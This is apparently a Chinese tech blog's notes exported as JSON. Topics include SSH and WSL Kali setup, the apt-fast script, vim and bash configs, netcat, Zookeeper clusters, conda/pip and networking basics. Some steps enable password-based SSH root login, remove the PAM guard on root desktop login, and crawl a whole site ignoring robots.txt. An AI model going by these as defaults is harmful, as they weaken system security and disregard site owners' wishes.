~/.ssh/ssh-keygen -t rsa # 会有提示，都按回车就可以cat ./id_rsa.pub &gt;&gt; ./authorized_keys # 加入授权如果没有问题可能是 ssh-server 的配置文件设置了拒绝以 root 用户登录的模式：nano /etc/ssh/sshd_configPermitRootLogin yes重启 ssh-serversudo /etc/init.d/ssh restart"},{"title":"","date":"2022-05-10T06:48:00.000Z","updated":"2022-05-10T06:48:00.000Z","comments":true,"path":"notes/Ubuntu/index.html","permalink":"https://blog.mhuig.top/notes/Ubuntu/","excerpt":"","text":"Ubuntu Ubuntu .prev-next{ display: none !important; }"},{"title":"","date":"2020-02-05T04:57:00.000Z","updated":"2022-05-12T09:04:00.000Z","comments":true,"path":"notes/Windows/gcc.html","permalink":"https://blog.mhuig.top/notes/Windows/gcc","excerpt":"","text":"安装 gcc windows 安装 gcc 下载先去官网下载安装包，http://www.mingw.org， 进入官网找到 download： 单击就可以直接下载了。 安装双击运行下载的 exe，然后点 install，然后就是下一步到底就行了，最后选择安装 gcc-g++ 的就可以了。 注意下面这个要选中 其他需要的也可以自行选择，安装完之后，也可以通过安装目录下 bin 目录的 安装其他东西，可以自行去了解。 配置安装完成后就是配置环境变量了 然后打开控制台，输入: gcc -v gcc --version 我们可以写一个例子试一下，经典例子 hello world 出来吧！ #include &lt;stdio.h&gt;int main(){ printf(\"Hello world!\"); return 0;} gcc -o test main.cpp MinGW-w64Window 系统下的 MinGW，总是编译为 32 位代码。因为 MinGW 只支持 32 位代码。 Window 系统下的 MinGW-w64（例如安装了 TDM-GCC，选择 MinGW-w64），默认是编译为 64 位代码，包括在 32 位的 Windows 系统下。"},{"title":"","date":"2022-05-10T06:55:00.000Z","updated":"2022-05-10T06:55:00.000Z","comments":true,"path":"notes/Windows/index.html","permalink":"https://blog.mhuig.top/notes/Windows/","excerpt":"","text":"Windows Windows .prev-next{ display: none !important; }"},{"title":"","date":"2019-11-23T01:23:00.000Z","updated":"2022-05-12T09:06:00.000Z","comments":true,"path":"notes/Windows/kali.html","permalink":"https://blog.mhuig.top/notes/Windows/kali","excerpt":"","text":"适用于 Linux 的 windows 子系统 适用于 Linux 的 windows 子系统 开启 wsl首先：为了 win10 能运行适用于 Linux 的 windows 子系统，我们需要开启 wsl第一种方法： 开启 wsl，开启步骤：按 win + x 进入 Windows Power Shell，输入下面的命令开启， Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux 开启后重启系统。 第二种 方法步骤 安装 kali进入应用商店，搜索 kali，直接安装 安装 VIMsudo apt-get install vim 更新源vi /etc/apt/sources.list #阿里云deb http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清华大学deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-freedeb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#中科大deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#官方源deb http://http.kali.org/kali kali-rolling main non-free contribdeb-src http://http.kali.org/kali kali-rolling main non-free contrib sudo apt-get update &amp;&amp; sudo apt-get dist-upgrade apt-get install apt-transport-https 配置 SSH在 Linux 子系统默认命令端输入，查看 ip 地址 ifconfig 配置 SSH 服务 sudo apt-get remove --purge openssh-server ## 先删sshsudo apt-get install openssh-server ## 在安装ssh sudo rm /etc/ssh/ssh_config ## 删配置文件sudo service ssh --full-restart 修改 sshd_config 文件 vi /etc/ssh/sshd_config 将 #PasswordAuthentication no 的注释去掉，并且将 NO 修改为 YES，kali 中默认是 yes PasswordAuthentication yes 将 PermitRootLogin without-password 修改为 PermitRootLogin yes 使用 xshell 登录 上面命令执行完之后，在 xshell 中输入用户名和 ip 就可以通过 xshell 登录自己电脑的 Linux。 配置永久解决方案 通过上面的方法，我们可以通过 xshell 登录自己电脑的 Linux。但是断开之后重新开机，我们又需要重新配置 SSH。因此，我们需要配置以下命令下，一劳永逸。 sudo service ssh --full-restart ## 将该命令保存为service.sh，存在home目录下 配置好之后，下次开机，只需要在 Linux 子系统的默认终端运行 sh service.sh 命令后，关掉终端改用 xshell 登录即可。 图形界面sudo apt-get install vnc4server tightvncserversudo apt-get install xrdpsudo sed -i 's/port=3389/port=3390/g' /etc/xrdp/xrdp.ini//apt-get install kali-defaults kali-root-login desktop-base kde-fullsudo apt-get install xorgsudo apt-get install xfce4//apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodiessudo echo xfce4-session &gt;~/.xsessionsudo service xrdp restart 安装工具包apt install kali-linux-full win 下关闭 kalinet stop LxssManager ubuntu 下神奇的多线程 apt-get安装 axelsudo apt-get install axel 下载脚本 apt-fast.sh下载地址 http://www.mattparnell.com/linux/apt-fast/apt-fast.sh # !/bin/sh# apt-fast v0.03 by Matt Parnell http://www.mattparnell.com, this thing is fully open-source# if you do anything cool with it, let me know so I can publish or host it for you# contact me at admin@mattparnell.com# Special thanks# Travis/travisn000 - support for complex apt-get commands# Allan Hoffmeister - aria2c support# Abhishek Sharma - aria2c with proxy support# Richard Klien - Autocompletion, Download Size Checking (made for on ubuntu, untested on other distros)# Patrick Kramer Ruiz - suggestions - see Suggestions.txt# Sergio Silva - test to see if axel is installed, root detection/sudo autorun# Use this just like apt-get for faster package downloading.# Check for proper priveliges[ \"`whoami`\" = root ] || exec sudo \"$0\" \"$@\"# Test if the axel is installedif [ ! -x /usr/bin/axel ]then echo \"axel is not installed, perform this?(y/n)\" read ops case $ops in y) if apt-get install axel -y --force-yes then echo \"axel installed\" else echo \"unable to install the axel. you are using sudo?\" ; exit fi ;; n) echo \"not possible usage apt-fast\" ; exit ;; esacfi# If the user entered arguments contain upgrade, install, or dist-upgradeif echo \"$@\" | grep -q \"upgrade\\|install\\|dist-upgrade\"; then echo \"Working...\"; # Go into the directory apt-get normally puts downloaded packages cd /var/cache/apt/archives/; # Have apt-get print the information, including the URI's to the packages # Strip out the URI's, and download the packages with Axel for speediness # I found this regex elsewhere, showing how to manually strip package URI's you may need...thanks to whoever wrote it apt-get -y --print-uris $@ | egrep -o -e \"(ht|f)tp://[^\\']+\" &gt; apt-fast.list &amp;&amp; cat apt-fast.list | xargs -l1 axel -a # Perform the user's requested action via apt-get apt-get $@; echo -e \"\\nDone! Verify that all packages were installed successfully. If errors are found, run apt-get clean as root and try again using apt-get directly.\\n\";else apt-get $@;fi 安装 apt-fastsudo mv /root/apt-fast.sh /usr/bin/apt-fastsudo chmod +x /usr/bin/apt-fast 现在你已经可以使用 apt-fast 替代 apt-get 了试一下 apt-fast updateapt-fast upgradeapt-fast install XXXXX 魔改 axel 设置脚本sudo vim /etc/axelrc 找到 num_connections = 4 默认的 4 线程直接修改这个值例如：十线程 num_connections = 10 Linux 下的 vim 配置文件vi ~/.vimrc \" Vim config file.\" Global Settings: {{{syntax on \" highlight syntaxfiletype plugin indent on \" auto detect file typeset nocompatible \" out of Vi compatible mode\"set number \" show line numberset numberwidth=3 \" minimal culumns for line numbersset textwidth=0 \" do not wrap words (insert)set nowrap \" do not wrap words (view)set showcmd \" show (partial) command in status lineset ruler \" line and column number of the cursor positionset wildmenu \" enhanced command completionset wildmode=list:longest,full \" command completion modeset laststatus=2 \" always show the status lineset mouse= \" use mouse in all modeset foldenable \" fold linesset foldmethod=marker \" fold as markerset noerrorbells \" do not use error bellset novisualbell \" do not use visual bellset t_vb= \" do not use terminal bellset wildignore=.svn,.git,*.swp,*.bak,*~,*.o,*.aset autowrite \" auto save before commands like :next and :makeset cursorlineset hidden \" enable multiple modified buffersset history=1000 \" record recent used command historyset autoread \" auto read file that has been changed on diskset backspace=indent,eol,start \" backspace can delete everythingset completeopt=menuone,longest \" complete options (insert)set pumheight=10 \" complete popup heightset scrolloff=5 \" minimal number of screen lines to keep beyond the cursorset autoindent \" automatically indent new lineset cinoptions=:0,l1,g0,t0,(0,(s \" C kind language indent optionsset clipboard+=unnamed \" shared clipboardset noexpandtab \" do not use spaces instead of tabsset tabstop=4 \" number of spaces in a tabset softtabstop=4 \" insert and delete space of &lt;tab&gt;set shiftwidth=4 \" number of spaces for indentset expandtab \" expand tabs into spacesset incsearch \" incremental searchset hlsearch \" highlight search matchset ignorecase \" do case insensitive matchingset smartcase \" do not ignore if search pattern has CAPSset nobackup \" do not create backup file\"set noswapfile \" do not create swap fileset backupcopy=yes \" overwrite the original fileset encoding=utf-8set termencoding=utf-8set fileencoding=utf-8set fileencodings=gb2312,utf-8,gbk,gb18030set fileformat=unixset background=dark\"colorscheme SolarizedDark_modified\"colorscheme wombat_modified\" gui settingsif has(\"gui_running\") set guioptions-=T \" no toolbar set guioptions-=r \" no right-hand scrollbar set guioptions-=R \" no right-hand vertically scrollbar set guioptions-=l \" no left-hand scrollbar set guioptions-=L \" no left-hand vertically scrollbar autocmd GUIEnter * simalt ~x \" window width and height language messages zh_CN.utf-8 \" use chinese messages if hasendif\" Restore the last quit position when open file.autocmd BufReadPost * \\ if line(\"'\\\"\") &gt; 0 &amp;&amp; line(\"'\\\"\") &lt;= line(\"$\") | \\ exe \"normal g'\\\"\" | \\ endif\"}}}\" Key Bindings: {{{let mapleader = \",\"let maplocalleader = \"\\\\\"\" map : -&gt; &lt;space&gt;map &lt;Space&gt; :\" move between windowsnmap &lt;C-h&gt; &lt;C-w&gt;hnmap &lt;C-j&gt; &lt;C-w&gt;jnmap &lt;C-k&gt; &lt;C-w&gt;knmap &lt;C-l&gt; &lt;C-w&gt;l\" Don't use Ex mode, use Q for formattingmap Q gq\"make Y consistent with C and Dnnoremap Y y$\" toggle highlight trailing whitespacenmap &lt;silent&gt; &lt;leader&gt;l :set nolist!&lt;CR&gt;\" Ctrl-E to switch between 2 last buffersnmap &lt;C-E&gt; :b#&lt;CR&gt;\" ,e to fast finding files. just type beginning of a name and hit TABnmap &lt;leader&gt;e :e **/\" Make shift-insert work like in Xtermmap &lt;S-Insert&gt; &lt;MiddleMouse&gt;map! &lt;S-Insert&gt; &lt;MiddleMouse&gt;\" ,n to get the next location (compilation errors, grep etc)nmap &lt;leader&gt;n :cn&lt;CR&gt;nmap &lt;leader&gt;p :cp&lt;CR&gt;\" Ctrl-N to disable search match highlightnmap &lt;silent&gt; &lt;C-N&gt; :silent noh&lt;CR&gt;\" center display after searchingnnoremap n nzznnoremap N Nzznnoremap * *zznnoremap # #zznnoremap g* g*zznnoremap g# g#z\"}}}\" mrulet MRU_Window_Height = 10nmap &lt;Leader&gt;r :MRU&lt;cr&gt;\" taglistlet g:Tlist_WinWidth = 25let g:Tlist_Use_Right_Window = 0let g:Tlist_Auto_Update = 1let g:Tlist_Process_File_Always = 1let g:Tlist_Exit_OnlyWindow = 1let g:Tlist_Show_One_File = 1let g:Tlist_Enable_Fold_Column = 0let g:Tlist_Auto_Highlight_Tag = 1let g:Tlist_GainFocus_On_ToggleOpen = 1nmap &lt;Leader&gt;t :TlistToggle&lt;cr&gt;\" nerdtreelet g:NERDTreeWinPos = \"right\"let g:NERDTreeWinSize = 30let g:NERDTreeShowLineNumbers = 1let g:NERDTreeQuitOnOpen = 1nmap &lt;Leader&gt;f :NERDTreeToggle&lt;CR&gt;nmap &lt;Leader&gt;F :NERDTreeFind&lt;CR&gt;\"pastevmap &lt;C-c&gt; \"+ynmap &lt;C-v&gt; \"+pset pastetoggle=&lt;F12&gt;\"C，C++ Java Compile and run by F5map &lt;F5&gt; :call CompileRunGcc()&lt;CR&gt;func! CompileRunGcc() exec \"w\" if &amp;filetype == 'c' exec \"!g++ % -o %&lt;\" exec \"! ./%&lt;\" elseif &amp;filetype == 'cpp' exec \"!g++ % -o %&lt;\" exec \"! ./%&lt;\" elseif &amp;filetype == 'java' exec \"!javac %\" exec \"!java %&lt;\" elseif &amp;filetype == 'sh' :!./% endifendfunc\"C,C++ debugmap &lt;F8&gt; :call Rungdb()&lt;CR&gt;func! Rungdb() exec \"w\" exec \"!g++ % -g -o %&lt;\" exec \"!gdb ./%&lt;\"endfunc PS1PS1='${debian_chroot:+($debian_chroot)}\\[\\033[01;31m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ ' bashrc# ~/.bashrc: executed by bash(1) for non-login shells.# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)# for examples# If not running interactively, don't do anythingcase $- in *i*) ;; *) return;;esac# don't put duplicate lines or lines starting with space in the history.# See bash(1) for more optionsHISTCONTROL=ignoreboth# append to the history file, don't overwrite itshopt -s histappend# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)HISTSIZE=1000HISTFILESIZE=2000# check the window size after each command and, if necessary,# update the values of LINES and COLUMNS.shopt -s checkwinsize# If set, the pattern \"**\" used in a pathname expansion context will# match all files and zero or more directories and subdirectories.#shopt -s globstar# make less more friendly for non-text input files, see lesspipe(1)#[ -x /usr/bin/lesspipe ] &amp;&amp; eval \"$(SHELL=/bin/sh lesspipe)\"# set variable identifying the chroot you work in (used in the prompt below)if [ -z \"${debian_chroot:-}\" ] &amp;&amp; [ -r /etc/debian_chroot ]; then debian_chroot=$(cat /etc/debian_chroot)fi# set a fancy prompt (non-color, unless we know we \"want\" color)case \"$TERM\" in xterm-color) color_prompt=yes;;esac# uncomment for a colored prompt, if the terminal has the capability; turned# off by default to not distract the user: the focus in a terminal window# should be on the output of commands, not on the promptforce_color_prompt=yesif [ -n \"$force_color_prompt\" ]; then if [ -x /usr/bin/tput ] &amp;&amp; tput setaf 1 &gt;&amp;/dev/null; then # We have color support; assume it's compliant with Ecma-48 # (ISO/IEC-6429). (Lack of such support is extremely rare, and such # a case would tend to support setf rather than setaf.) color_prompt=yes else color_prompt= fifiif [ \"$color_prompt\" = yes ]; then PS1='${debian_chroot:+($debian_chroot)}\\[\\033[01;31m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ 'else PS1='${debian_chroot:+($debian_chroot)}\\u@\\h:\\w\\$ 'fiunset color_prompt force_color_prompt# If this is an xterm set the title to user@host:dircase \"$TERM\" inxterm*|rxvt*) PS1=\"\\[\\e]0;${debian_chroot:+($debian_chroot)}\\u@\\h: \\w\\a\\]$PS1\" ;;*) ;;esac# colored GCC warnings and errorsexport GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'# enable color support of ls and also add handy aliasesif [ -x /usr/bin/dircolors ]; then test -r ~/.dircolors &amp;&amp; eval \"$(dircolors -b ~/.dircolors)\" || eval \"$(dircolors -b)\" alias ls='ls --color=auto' alias dir='dir --color=auto' alias vdir='vdir --color=auto' alias grep='grep --color=auto' alias fgrep='fgrep --color=auto' alias egrep='egrep --color=auto'fi# some more ls aliasesalias ll='ls -l'alias la='ls -A'alias l='ls -la'# Alias definitions.# You may want to put all your additions into a separate file like# ~/.bash_aliases, instead of adding them here directly.# See /usr/share/doc/bash-doc/examples in the bash-doc package.if [ -f ~/.bash_aliases ]; then . ~/.bash_aliasesfi# enable programmable completion features (you don't need to enable# this, if it's already enabled in /etc/bash.bashrc and /etc/profile# sources /etc/bash.bashrc).if ! shopt -oq posix; then if [ -f /usr/share/bash-completion/bash_completion ]; then . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fifi"},{"title":"","date":"2020-01-10T02:10:00.000Z","updated":"2022-05-12T09:05:00.000Z","comments":true,"path":"notes/Windows/netcat.html","permalink":"https://blog.mhuig.top/notes/Windows/netcat","excerpt":"","text":"netcat 的安装及使用 windows 环境下 netcat 的安装及使用 Step 1下载 netcat 下载地址：https://eternallybored.org/misc/netcat/ Step 2解压文件夹 Step 3将文件夹中的所有内容复制到 C:\\Windows\\System32 的文件夹下 Step 4打开命令界面：Windows+R cmd 输入 nc 命令即可."},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2022-05-11T05:34:00.000Z","comments":true,"path":"notes/Zookeeper/apache.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/apache","excerpt":"","text":"Apache 集群环境搭建 大数据处理技术 - Zookeeper 的 Apache 集群环境搭建 Zookeeper 的集群环境搭建 服务器 IP 主机名 myid 的值 192.168.52.100 node01 1 192.168.52.110 node02 2 192.168.52.120 node03 3 下载下载 Zookeeeper 的压缩包，下载网址如下 http://archive.apache.org/dist/zookeeper/ 我们在这个网址下载我们使用的 zk 版本为 3.4.9下载完成之后，上传到我们的 linux 的 /export/softwares 路径下准备进行安装 解压解压 zookeeper 的压缩包到 /export/servers 路径下去，然后准备进行安装 cd /export/softwarestar -zxvf zookeeper-3.4.9.tar.gz -C ../servers/ 修改配置文件第一台机器修改配置文件 cd /export/servers/zookeeper-3.4.9/conf/ cp zoo_sample.cfg zoo.cfg mkdir -p /export/servers/zookeeper-3.4.9/zkdatas/ vim zoo.cfg zoo.cfgdataDir=/export/servers/zookeeper-3.4.9/zkdatasautopurge.snapRetainCount=3autopurge.purgeInterval=1server.1=node01:2889:3889server.2=node02:2889:3889server.3=node03:2889:3889 autopurge.snapRetainCount 这个参数指定了需要保留的文件数目。默认是保留 3 个。 autopurge.purgeInterval ZK 提供了自动清理事务日志和快照文件的功能，这个参数指定了清理频率，单位是小时，需要配置一个 1 或更大的整数，默认是 0 ，表示不开启自动清理功能。server 后的数字是选举 id，在选举过程中会用到。注意：数字一定要能比较出大小。2888 端口 原子广播端口，可以自定义3888 端口 选举端口，leader 会通过原子广播端口广播给其他节点，并收集每台服务器反馈信息。 添加 myid 配置在第一台机器的 /export/servers/zookeeper-3.4.9/zkdatas/ 这个路径下创建一个文件，文件名为 myid , 文件内容为 1 echo 1 &gt; /export/servers/zookeeper-3.4.9/zkdatas/myid 安装包分发并修改 myid 的值安装包分发到其他机器 第一台机器上面执行以下两个命令 scp -r /export/servers/zookeeper-3.4.9/ node02:/export/servers/scp -r /export/servers/zookeeper-3.4.9/ node03:/export/servers/ 第二台机器上修改 myid 的值为 2 echo 2 &gt; /export/servers/zookeeper-3.4.9/zkdatas/myid 第三台机器上修改 myid 的值为 3 echo 3 &gt; /export/servers/zookeeper-3.4.9/zkdatas/myid 三台机器启动 Zookeeper 服务三台机器启动 Zookeeper 服务这个命令三台机器都要执行 /export/servers/zookeeper-3.4.9/bin/zkServer.sh start 查看启动状态 /export/servers/zookeeper-3.4.9/bin/zkServer.sh status"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2022-05-11T09:43:00.000Z","comments":true,"path":"notes/Zookeeper/cdh.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/cdh","excerpt":"","text":"CDH 集群环境搭建 大数据处理技术 - CDH 版本的 zookeeper 环境搭建 下载第一步：下载 zookeeeper 的压缩包，下载地址为：http://archive.cloudera.com/cdh5/cdh/5/我们这里也下载对应版本的 CDH5.14.0 这个版本的 zookeeper 的压缩包即可下载完成之后，上传到我们的 linux 的 /export/softwares 路径下准备进行安装 解压解压 zookeeper 的压缩包到 /export/servers 路径下去，然后准备进行安装 cd /export/softwarestar -zxvf zookeeper-3.4.5-cdh5.14.0.tar.gz -C ../servers/ 修改配置文件node01 修改配置文件创建 zk 数据存放目录 mkdir -p /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas 修改 zk 配置文件 cd /export/servers/zookeeper-3.4.5-cdh5.14.0/confcp zoo_sample.cfg zoo.cfgvim zoo.cfg zoo.cfgdataDir=/export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatasautopurge.snapRetainCount=3autopurge.purgeInterval=1server.1=node01:2888:3888server.2=node02:2888:3888server.3=node03:2888:3888 创建 myid 文件并写入内容 echo 1 &gt; /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas/myid 将安装包分发到其他机器node01 执行以下命令 cd /export/serversscp -r zookeeper-3.4.5-cdh5.14.0/ node02:$PWDscp -r zookeeper-3.4.5-cdh5.14.0/ node03:$PWD node02 修改配置文件node02 执行以下命令创建 myid 文件并赋值 echo 2 &gt; /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas/myid node03 修改配置文件node03 执行以下命令创建 myid 文件并赋值 echo 3 &gt; /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas/myid 启动 zk 服务三台服务器启动 zookeeper，三台机器都执行以下命令启动 zookeeper cd /export/servers/zookeeper-3.4.5-cdh5.14.0bin/zkServer.sh start"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2022-05-10T06:31:00.000Z","comments":true,"path":"notes/Zookeeper/distributed-cluster.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/distributed-cluster","excerpt":"","text":"分布式集群 大数据处理技术 - 分布式集群 集群多个节点干相同的事情；举例：滥竽充数每个人划桨，干的都是一样的活儿，叫做集群。 分布式的每一个节点也可以做成集群。其实这个赛龙舟的图，总整体来看属于分布式，包括打鼓和划桨两个分布式节点，而划桨的节点又是集群的形态。现实生活中例子还很多，例如，这张现代乐队的图就属于集群 高可用！ 分布式多个节点协同完成一件事情，每个节点干不同的事情。区别： 相同点：都有多个节点 不同点：集群干的活儿一样，分布式干的活儿不一样"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2022-05-10T06:21:00.000Z","comments":true,"path":"notes/Zookeeper/index.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/","excerpt":"","text":".fa-secondary{opacity:.4} Zookeeper Zookeeper .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2022-05-11T05:34:00.000Z","comments":true,"path":"notes/Zookeeper/overview.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/overview","excerpt":"","text":"Overview 大数据处理技术 - zookeeper 的介绍 ZooKeeper 概述Zookeeper 是一个分布式协调服务的开源框架。 主要用来解决分布式集群中应用系统的一致性问题，例如怎样避免同时操作同一数据造成脏读的问题。ZooKeeper 本质上是一个分布式的小文件存储系统。 提供基于类似于文件系统的目录树方式的数据存储，并且可以对树中的节点进行有效管理。从而用来维护和监控你存储的数据的状态变化。通过监控这些数据状态的变化，从而可以达到基于数据的集群管理。诸如： 统一命名服务 (dubbo)、分布式配置管理 (solr 的配置集中管理)、分布式消息队列（sub/pub）、分布式锁、分布式协调等功能。 Zookeeper 的架构 LeaderZookeeper 集群工作的核心 事务请求（写操作） 的唯一调度和处理者，保证集群事务处理的顺序性；集群内部各个服务器的调度者。对于 create， setData， delete 等有写操作的请求，则需要统一转发给 leader 处理， leader 需要决定编号、执行操作，这个过程称为一个事务。 Follower处理客户端非事务（读操作） 请求，转发事务请求给 Leader；参与集群 Leader 选举投票 2n-1 台可以做集群投票。此外，针对访问量比较大的 zookeeper 集群， 还可新增观察者角色。 Observer观察者角色，观察 Zookeeper 集群的最新状态变化并将这些状态同步过来，其对于非事务请求可以进行独立处理，对于事务请求，则会转发给 Leader 服务器进行处理。不会参与任何形式的投票只提供非事务服务，通常用于在不影响集群事务处理能力的前提下提升集群的非事务处理能力。扯淡：说白了就是增加并发的读请求 Zookeeper 的特性全局数据一致每个 server 保存一份相同的数据副本， client 无论连接到哪个 server，展示的数据都是一致的，这是最重要的特征； 可靠性如果消息被其中一台服务器接受，那么将被所有的服务器接受。 顺序性包括全局有序和偏序两种：全局有序是指如果在一台服务器上消息 a 在消息 b 前发布，则在所有 Server 上消息 a 都将在消息 b 前被发布；偏序是指如果一个消息 b 在消息 a 后被同一个发送者发布， a 必将排在 b 前面。 数据更新原子性一次数据更新要么成功（半数以上节点成功），要么失败，不存在中间状态； 实时性Zookeeper 保证客户端将在一个时间间隔范围内获得服务器的更新信息，或者服务器失效的信息。 Zookeeper 的集群环境为什么搭建 zookeeper 集群 集群有高可用的能力。 高并发的情况下，单机版性能低下 Zookeeper 选举策略Zookeeper 集群搭建指的是 ZooKeeper 分布式模式安装。 通常由 2n+1 台 servers 组成。 这是因为为了保证 Leader 选举（基于 Paxos 算法的实现） 能过得到多数的支持，所以 ZooKeeper 集群的数量一般为奇数。Zookeeper 运行需要 java 环境， 所以需要提前安装 jdk。 对于安装 leader+follower 模式的集群， 大致过程如下： 配置主机名称到 IP 地址映射配置 修改 ZooKeeper 配置文件 远程复制分发安装文件 设置 myid 启动 ZooKeeper 集群 如果要想使用 Observer 模式，可在对应节点的配置文件添加如下配置： peerType = observer 其次，必须在配置文件指定哪些节点被指定为 Observer，如： server.1:localhost:2181:3181:observer"},{"title":"杂记片段","date":"2022-06-29T01:37:00.000Z","updated":"2022-08-24T05:31:00.000Z","comments":true,"path":"notes/code/index.html","permalink":"https://blog.mhuig.top/notes/code/","excerpt":"","text":"conda 创建环境 conda create --name &lt;你的环境名字&gt; python=&lt;你需要的 python 环境名称&gt;例子：conda create --name py37 python=3.7 requirements.txt pip 批量导出包含环境中所有组件的 requirements.txt 文件pip freeze &gt; requirements.txtpip 批量安装 requirements.txt 文件中包含的组件依赖pip install -r requirements.txtconda 批量导出包含环境中所有组件的 requirements.txt 文件conda list -e &gt; requirements.txtconda 批量安装 requirements.txt 文件中包含的组件依赖conda install --yes --file requirements.txt 清除 package 缓存 清除 npm 缓存 npm cache verifynpm cache cleannpm cache clean --forcenpm cache winC:/Users/xxxxx/AppData/Local/npm-cacheYarn cache winC:/Users/xxxxx/AppData/Local/Yarn/Cache 清除 pip 缓存 linuxrm -rf ~/.cache/pip/*winC:/Users/xxxxx/AppData/Local/pip/cache 清除 conda 缓存 conda clean -p //删除没有用的包conda clean -t //tar打包conda clean -a //删除所有的安装包及cache postgresql 导出整个数据库 pg_dump -h hostname -U username -p port -W -d databasename --inserts &gt; bak.sql 导入整个数据库 pg_restore -h hostname -U username -p port -W -d databasename -v \"/bak.sql\" wget 抓取全站 wget -r -p -np -k -e robots=off http://www.baidu.com/ Linux Ubuntu 桌面版使用 ROOT 用户登录 sudo passwd rootsudo nano /etc/pam.d/gdm-autologin# 注释'auth requied pam_succeed_if.so user != root quiet success'这一行,保存退出sudo nano /etc/pam.d/gdm-password# 注释'auth requied pam_succeed_if.so user != root quiet success'这一行,保存退出sudo nano /root/.profile# 在'mesg n 2&gt; /dev/null || true'这一行前添加'tty -s &amp;&amp; ', 即这一行改为'tty -s &amp;&amp; mesg n 2&gt; /dev/null || true' kali 伪装为 windows10 kali-undercover"},{"title":"","date":"2023-12-03T05:47:00.000Z","updated":"2023-12-03T05:47:00.000Z","comments":true,"path":"notes/datacom/1.html","permalink":"https://blog.mhuig.top/notes/datacom/1","excerpt":"","text":"网络通信 网络通信 网络通信基本概念通信：是指人与人，人与物，物与物之间通过某种媒介和行为进行的信息传递与交流. 网络：由各种终端，传输介质，网络设备所构成的资源共享的系统. 网络通信：通过网络进行通信. 数据载荷：最终想要传递的用户数据. 报文：网络中交换与传输的数据单元. 头部：数据载荷前所添加的信息. 尾部：数据载荷后所添加的信息. 封装：对数据载荷添加头部或者尾部的过程. 解封装：对报文拆除头部或者尾部的过程. 网络设备交换机 (Switch): 是距离终端用户最近的设备，将大量的终端设备接入到网络中。交换机拥有大量的端口. 路由器 (Router): 用于连接不同的网络，并且指导数据包选择最优路径转发. 防火墙 (Fire Wall): 安全设备，用于控制两个网络之间的安全通信，可以监测、限制或者更改网络数据流量，尽可能的屏蔽外部信息，一次实现对网络的安全防护. 无线设备: AP(无线接入点) 胖 AP: 可以对 AP 设备单独进行改动，适用于小型企业网，家庭网络 瘦 AP: 适用于大中型网络，通过 AC 对所有 AP 进行修改 AC(无线控制器): 用于对 AP 的管理，对 AP 集中控制 网关：定义是一个网络设备，是网络的出口. 网络的分类地理覆盖范围分类 a. 局域网：一般由地理位置较近的网络构建 (公司网络，学校网络，网吧，家庭网络) b. 城域网：在一个城市所建立的计算机网络 (宽带城域网，市级或省级的电子政务专网) c. 广域网：覆盖范围广，可以连接多个城市或国家 (因特网) 根据网络拓扑类型进行分类网络拓扑：将真实的物理网络逻辑表现出来，方便管理员更直观的了解网络结构. a. 星型网络：所有节点通过一个中心节点相连 i. 优点：增加新节点比较容易，无需更改原来的拓扑结构，数据通信必须经过中心节点易于监控，没有环路产生 ii. 缺点：容易造成单点故障，中心节点故障会影响整个网络 b. 总线型网络：所有节点通过一条总线连接在一起 i. 优点：增加新节点比较容易，某一节点故障不会影响到其他节点 ii. 缺点：一旦总线发生故障，会影响到整个网络，任意一个节点都能够监听网络中的数据，造成安全隐患. c. 环形网络：所有的网络首尾相连形成封闭环路. i. 优点：冗余性高，网络可靠 ii. 缺点：增加新的节点时，需要打破环形结构，导致网络中断. d. 树状网络：层次化的星型结构，将多个星型拓扑连接在一起 i. 优点：能够快速的将多个星型拓扑连接在一起易于扩充，避免单点故障问题，某一分支节点故障不会影响其他分支节点 ii. 缺点：层次越高的节点故障导致网络出现的问题越严重. e. 全网状网络：任意两个节点之间都通过线缆相连 i. 优点：冗余性高，可靠性高 ii. 缺点：每个节点占用大量的端口，需要大量的线缆，导致成本增加，不易扩展 f. 部分网状拓扑：只将关键节点两两互联 i. 优点：在保证一定可靠性的基础上降低成本 ii. 缺点：部分链路通讯效率降低. g. 组合型网络：将各种网络进行组合，从而形成现有的网络结构。根据成本通信效率，可靠性等具体需求采用多种拓扑形态组合的方法."},{"title":"","date":"2023-12-13T07:07:00.000Z","updated":"2023-12-13T07:07:00.000Z","comments":true,"path":"notes/datacom/10.html","permalink":"https://blog.mhuig.top/notes/datacom/10","excerpt":"","text":"DHCP DHCP DHCPDHCP: 动态主机配置协议，可以在网络为终端设备配置上网参数 (IP 地址，掩码，网关，DNS 等等), 可以减少管理员的工作量. 应用层协议. DHCP 工作原理DHCP 采用 C/S 架构 (客户端 / 服务端) 路由器，三层交换机，防火墙，AC. DHCP Server 的 IP 